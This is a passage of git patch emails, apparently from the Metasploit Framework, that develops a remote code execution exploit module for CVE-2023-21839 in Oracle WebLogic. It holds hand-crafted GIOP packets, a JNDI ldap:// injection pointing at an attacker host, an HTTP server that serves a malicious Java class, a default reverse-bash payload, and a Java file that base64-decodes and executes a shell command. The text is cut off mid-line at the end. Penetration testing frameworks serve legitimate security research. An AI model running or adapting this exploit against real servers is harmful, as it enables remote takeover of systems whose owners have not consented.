Rex::Version.new('14.9999999.999999.999999.99999')) + wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \ + "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \ + "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \ + "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \ + "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" + wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \ + "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \ + "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \ + "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \ + "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" + else + fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!') + end + + wls_key_1.gsub!('{{key1}}', key1) + + # Step 3 - Make a rebindAny request + key_addr = wls_key_1 + stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \ + "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \ + "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \ + "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \ + "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00" + socket = connect + packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6) + + context_data = '' + @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b") + @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01") + @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01") + + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \ + "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \ + "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \ + "\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \ + "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01") + context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00") + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + socket.put(packet) + rebind_any_buf = socket.get + disconnect + print_good('Step 3 complete!') + + start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime + 0xac + lt + # IOR ProfileHost ProfilePort + 0x5d # ObjectKey Prefix + + while rebind_any_buf[start_off] != 0x32 + if start_off > 0x2710 + break + end + + start_off += 1 + end + + if start_off > 0x2710 + key3 = "\x32\x38\x39\x00" + else + key3 = rebind_any_buf[start_off...start_off + 4] + end + + wls_key_2.gsub!('{{key3}}', key3) + wls_key_2.gsub!('{{key1}}', key1) + + # Step 4 - rebind_any Request Again??? + socket = connect + key_addr = wls_key_2 + packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + socket.put(packet) + rebind_any_buf_2 = socket.get + p rebind_any_buf_2 + disconnect + print_good('Step 4 complete!') + + # Step 5 - Send second GIOP LocateRequest packet + print_status('5. Sending second GIOP LocateRequest packet') + socket = connect + socket.put(giop_locate_request_packet) + _locate_buf_two = socket.get + disconnect + print_good('Step 5 complete!') + + # Step 6 - Resolve packet #1 with wls_key_1 + key_addr = wls_key_1 + packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + socket = connect + socket.put(packet) + _resolve_packet_wls_key_1 = socket.get + disconnect + print_good('Step 6 complete!') + + # Step 7 - Resolve packet #2 with wls_key_2 + key_addr = wls_key_2 + packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + socket = connect + socket.put(packet) + _resolve_packet_wls_key_1 = socket.get + disconnect + print_good('Step 7 complete!') + end +end From 5ded2adfb511906ac0cddb541225a3a7e7af3e72 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 27 Apr 2023 16:24:03 -0500 Subject: [PATCH 189/415] Add in code initial code to start supporting JNDI loading of remote classes, currently a bit broken though --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 177 ++++++++++++++++-- 1 file changed, 157 insertions(+), 20 deletions(-) diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 19674a0ad3405..28b9fc4622778 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp + include Exploit::Remote::JndiInjection prepend Msf::Exploit::Remote::AutoCheck # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes. @@ -54,19 +55,13 @@ def initialize(info = {}) 'Privileged' => false, 'Targets' => [ [ - 'Linux', - { - 'Arch' => [ARCH_X64, ARCH_X86], - 'Platform' => 'linux', - 'CmdStagerFlavor' => ['printf', 'echo', 'bourne'] - } - ], - [ - 'Windows', - { - 'Arch' => [ARCH_X64, ARCH_X86], - 'Platform' => 'win', - 'CmdStagerFlavor' => ['certutil', 'vbs', 'debug_write', 'debug_asm'] + 'Linux', { + 'Platform' => 'unix', + 'RemoteLoad' => false, + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } } ] ], @@ -79,15 +74,16 @@ def initialize(info = {}) } ) ) - register_options( [ Opt::RPORT(7001), - OptAddress.new('LDAP_IP', [true, 'IP Address of the target LDAP server for the JNDI connection']), - OptPort.new('LDAP_PORT', [true, 'Port for the JNDI connection to be made on to the target LDAP server']), - OptString.new('LDAP_URL', [true, 'URL to use when making the JNDI connection to the target LDAP server']) + OptString.new('LDAP_OBJECT_REF', [true, 'Object ref to append to URL when making the JNDI connection to the target LDAP server']), + OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) + register_advanced_options([ + OptPort.new('HttpListenerBindPort', [false, 'The port to bind to if different from HTTP_SRVPORT']) + ]) end def get_weblogic_version @@ -180,7 +176,7 @@ def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' - stub_data += "\x27ldap://#{datastore['LDAP_IP']}:#{datastore['LDAP_PORT']}#{datastore['LDAP_URL']}" # Not sure why the backtick is here but hey. + stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{datastore['LDAP_OBJECT_REF']}" # Not sure why the backtick is here but hey. data << service_context_list data << stub_data @@ -258,6 +254,140 @@ def check end end + # HTTP Server Related Functions and Overrides + + # Returns the configured (or random, if not configured) URI path + def resource_uri + path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar' + path = '/' + path if path !~ %r{^/} + if path !~ /\.jar$/ + print_status("Appending .jar extension to #{path} as we don't yet serve classpaths") + path += '.jar' + end + datastore['URIPATH'] = path + return path + end + + def resource_url_string + "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" + end + + # + # Handle the HTTP request and return a response. Code borrowed from: + # msf/core/exploit/http/server.rb + # + def start_http_service(opts = {}) + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + (opts['ServerPort'] || bindport).to_i, + opts['ServerHost'] || bindhost, + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self + }, + opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), + datastore['SSLCert'], + datastore['SSLCompression'], + datastore['SSLCipher'], + datastore['SSLVersion'] + ) + @http_service.server_name = datastore['HTTP::server_name'] + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => method(:on_request_uri), + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + proto = (datastore['SSL'] ? 'https' : 'http') + + netloc = opts['ServerHost'] || bindhost + http_srvport = (opts['ServerPort'] || bindport).to_i + if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{http_srvport}" + else + netloc = "#{netloc}:#{http_srvport}" + end + end + print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}") + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + end + + # + # Kill HTTP service (shut it down and clear resources) + # + def cleanup + # Clean and stop HTTP server + if @http_service + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service = nil + rescue StandardError => e + print_error("Failed to stop http server due to #{e}") + end + end + super + end + + # + # Handle HTTP requests and responses + # + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + vprint_good("Payload requested by #{cli.peerhost} using #{agent}") + pay = regenerate_payload(cli) + jar = inject_jar_payload_factory(pay.encoded_jar) + send_response(cli, 200, 'OK', jar) + end + + # + # Create an HTTP response and then send it + # + def send_response(cli, code, message = 'OK', html = '') + proto = Rex::Proto::Http::DefaultProtocol + res = Rex::Proto::Http::Response.new(code, message, proto) + res['Content-Type'] = 'application/java-archive' + res.body = html + cli.send_response(res) + end + + # + # Insert PayloadFactory in Java payload JAR + # + # @param jar [Rex::Zip::Jar] payload JAR to update + # @return [Rex::Zip::Jar] updated payload JAR + def inject_jar_payload_factory(jar = generate_payload.encoded_jar) + # From exploits/multi/browser/java_rhino - should probably go to lib + paths = [ + [ 'metasploit/PayloadFactory.class' ] + ] + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0, idx].join('/') + '/' + jar.add_file(full, '') unless jar.entries.map(&:name).include?(full) + end + File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd| + data = fd.read(fd.stat.size) + jar.add_file(path.join('/'), data) + end + end + jar + end + + # LDAP Server Overrides + def build_ldap_search_response_payload + # Always do a remote load + build_ldap_search_response_payload_remote(resource_url_string) + end + + # Main Exploit def exploit if @version.blank? @version = get_weblogic_version @@ -454,8 +584,7 @@ def exploit packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) socket.put(packet) - rebind_any_buf_2 = socket.get - p rebind_any_buf_2 + _rebind_any_buf_2 = socket.get disconnect print_good('Step 4 complete!') @@ -511,10 +640,18 @@ def exploit message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + start_service + start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i) + socket = connect socket.put(packet) _resolve_packet_wls_key_1 = socket.get disconnect print_good('Step 7 complete!') + + print_status('Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through.') + sleep(8) + cleanup_service + cleanup end end From 3faf96aa9da66742237f024b88ba07615824db6d Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 15 May 2023 15:39:47 -0500 Subject: [PATCH 190/415] Check return code on target server responses --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 51 ++++++++++++++++--- 1 file changed, 44 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 28b9fc4622778..a2fe88717062d 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -19,8 +19,6 @@ class MetasploitModule < Msf::Exploit::Remote GIOP_MESSAGE_ERROR = 6 GIOP_FRAGMENT = 7 - OBJECT_FORWARD = "\x00\x00\x00\x02" - # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF SYNCSCOPE_NONE = 0 SYNCSCOPE_WITH_TRANSPORT = 0 @@ -32,6 +30,19 @@ class MetasploitModule < Msf::Exploit::Remote ADDR_DISPOSITION_PROFILE_ADDR = 1 ADDR_DISPOSITION_REFERENCE_ADDR = 2 + # GIOP Protocol RequestReply Header Codes + # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf + NO_EXCEPTION = 0 + USER_EXCEPTION = 1 + SYSTEM_EXCEPTION = 2 + LOCATION_FORWARD = 3 + + # GIOP Protocol LocateReply Header Codes + # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf + UNKNOWN_OBJECT = 0 + OBJECT_HERE = 1 + OBJECT_FORWARD = 2 + def initialize(info = {}) super( update_info( @@ -410,7 +421,8 @@ def exploit disconnect print_good('Step 2 complete!') - if locate_buf[0x10..0x13] != OBJECT_FORWARD + reply_status = locate_buf[16..19].unpack('L>')&.dig(0) + if reply_status != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') end @@ -542,6 +554,11 @@ def exploit disconnect print_good('Step 3 complete!') + reply_status_code = rebind_any_buf[16..19].unpack('L>')&.dig(0) + unless reply_status_code == LOCATION_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") + end + start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime 0xac + lt + # IOR ProfileHost ProfilePort 0x5d # ObjectKey Prefix @@ -584,18 +601,28 @@ def exploit packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) socket.put(packet) - _rebind_any_buf_2 = socket.get + rebind_any_buf_2 = socket.get disconnect print_good('Step 4 complete!') + reply_status_code = rebind_any_buf_2[16..19].unpack('L>')&.dig(0) + unless reply_status_code == NO_EXCEPTION + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") + end + # Step 5 - Send second GIOP LocateRequest packet print_status('5. Sending second GIOP LocateRequest packet') socket = connect socket.put(giop_locate_request_packet) - _locate_buf_two = socket.get + locate_buf_two = socket.get disconnect print_good('Step 5 complete!') + reply_status_code = locate_buf_two[16..19].unpack('L>')&.dig(0) + unless reply_status_code == OBJECT_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") + end + # Step 6 - Resolve packet #1 with wls_key_1 key_addr = wls_key_1 packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) @@ -617,10 +644,15 @@ def exploit socket = connect socket.put(packet) - _resolve_packet_wls_key_1 = socket.get + resolve_packet_wls_key_1 = socket.get disconnect print_good('Step 6 complete!') + reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) + unless reply_status_code == LOCATION_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") + end + # Step 7 - Resolve packet #2 with wls_key_2 key_addr = wls_key_2 packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) @@ -645,10 +677,15 @@ def exploit socket = connect socket.put(packet) - _resolve_packet_wls_key_1 = socket.get + resolve_packet_wls_key_1 = socket.get disconnect print_good('Step 7 complete!') + reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) + unless reply_status_code == USER_EXCEPTION + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") + end + print_status('Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through.') sleep(8) cleanup_service From 155319d4799bef16fc0bca8ee44355877c38253c Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 15 May 2023 17:19:48 -0500 Subject: [PATCH 191/415] Save work --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index a2fe88717062d..5160b858050c4 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -88,7 +88,7 @@ def initialize(info = {}) register_options( [ Opt::RPORT(7001), - OptString.new('LDAP_OBJECT_REF', [true, 'Object ref to append to URL when making the JNDI connection to the target LDAP server']), + OptString.new('JAVA_CLASS_NAME', [true, 'Java class name to append to URL when making the JNDI connection to the target LDAP server']), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) @@ -187,7 +187,11 @@ def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' - stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{datastore['LDAP_OBJECT_REF']}" # Not sure why the backtick is here but hey. + object_ref = datastore['JAVA_CLASS_NAME'] + if object_ref.length > 11 + fail_with(Failure::BadConfig, 'Due to limitations on the target the JAVA_CLASS_NAME cannot be longer than 11 characters long.') + end + stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{object_ref}" # Not sure why the backtick is here but hey. data << service_context_list data << stub_data @@ -555,7 +559,7 @@ def exploit print_good('Step 3 complete!') reply_status_code = rebind_any_buf[16..19].unpack('L>')&.dig(0) - unless reply_status_code == LOCATION_FORWARD + if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end @@ -606,7 +610,7 @@ def exploit print_good('Step 4 complete!') reply_status_code = rebind_any_buf_2[16..19].unpack('L>')&.dig(0) - unless reply_status_code == NO_EXCEPTION + if reply_status_code != NO_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") end @@ -619,7 +623,7 @@ def exploit print_good('Step 5 complete!') reply_status_code = locate_buf_two[16..19].unpack('L>')&.dig(0) - unless reply_status_code == OBJECT_FORWARD + if reply_status_code != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") end @@ -649,7 +653,7 @@ def exploit print_good('Step 6 complete!') reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) - unless reply_status_code == LOCATION_FORWARD + if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end @@ -682,7 +686,7 @@ def exploit print_good('Step 7 complete!') reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) - unless reply_status_code == USER_EXCEPTION + if reply_status_code != USER_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") end From 9e8d1ed2ea0ad661ff3f4e35a6e3ee7cecc4933c Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 17 May 2023 14:44:00 -0500 Subject: [PATCH 192/415] Add in Java class file, raw source code, and tidy up the module a bit --- .../exploits/CVE-2023-21839/PayloadRuns.class | Bin 0 -> 660 bytes data/exploits/CVE-2023-21839/PayloadRuns.java | 9 +++ .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 72 ++++++------------ 3 files changed, 34 insertions(+), 47 deletions(-) create mode 100644 data/exploits/CVE-2023-21839/PayloadRuns.class create mode 100644 data/exploits/CVE-2023-21839/PayloadRuns.java diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.class b/data/exploits/CVE-2023-21839/PayloadRuns.class new file mode 100644 index 0000000000000000000000000000000000000000..a00e746fdda254678f5c7f7a204606c5687b2130 GIT binary patch literal 660 zcmZuu%TC)s6g}fOu`y0V0^!+5c$I*XW`nu`At4Hzx+NlrisfW7N`@Lcawb(O%J+25 zhE^>40sSb%wMoH?TJn9Id+)iA`Fnr&2f#MoI*xL7Gu3+;iZEtURii;;SED> zR|QJ%F=VQnXAI^+*pUncPX+Sx@UktVQ{MIoDS4sb{uz%{?2kcH_tbzP?=|^%KjfX0 zVKCTXuy=(&W;Nu9q3m7oZ@l62pxZbc3E9^w3@9(((p-G~#QO;yO~&A~!eJ!jk&1gx zrD)&96fP#x^}UO zHHPW`jN)P)4#Q-s9W{SWJZ@h|p&5$L5N)c}CC%t`rG9eC)y>qZW0)2-70$!j%o{g!eVxEuzrQa}0nOm4&e!~8^b&K3hQZqrdS!758vt$7#wYCy8Pd$pn b_OC;pVnviFXPSNshG${MB$_h024)`sV;GDk literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.java b/data/exploits/CVE-2023-21839/PayloadRuns.java new file mode 100644 index 0000000000000..981d14e047937 --- /dev/null +++ b/data/exploits/CVE-2023-21839/PayloadRuns.java @@ -0,0 +1,9 @@ +public class PayloadRuns { + static { + try { + Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}"); + } catch (Exception ex) { + ex.printStackTrace(); + } + } +} diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 5160b858050c4..a665d244aba69 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -88,7 +88,6 @@ def initialize(info = {}) register_options( [ Opt::RPORT(7001), - OptString.new('JAVA_CLASS_NAME', [true, 'Java class name to append to URL when making the JNDI connection to the target LDAP server']), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) @@ -187,11 +186,8 @@ def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' - object_ref = datastore['JAVA_CLASS_NAME'] - if object_ref.length > 11 - fail_with(Failure::BadConfig, 'Due to limitations on the target the JAVA_CLASS_NAME cannot be longer than 11 characters long.') - end - stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{object_ref}" # Not sure why the backtick is here but hey. + @java_class_name = 'PayloadRuns' + stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@java_class_name}" # Not sure why the backtick is here but hey. data << service_context_list data << stub_data @@ -271,20 +267,15 @@ def check # HTTP Server Related Functions and Overrides - # Returns the configured (or random, if not configured) URI path + # Returns the configured URIPATH along with the path to the Java class we are serving def resource_uri - path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar' - path = '/' + path if path !~ %r{^/} - if path !~ /\.jar$/ - print_status("Appending .jar extension to #{path} as we don't yet serve classpaths") - path += '.jar' - end - datastore['URIPATH'] = path - return path + "#{datastore['URIPATH']}/#{@java_class_name}.class" end - def resource_url_string - "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" + # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of + # this URL when it tries to fetch the class to be loaded and instantiated. + def ldap_url_string + "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}/" end # @@ -357,9 +348,14 @@ def cleanup def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_good("Payload requested by 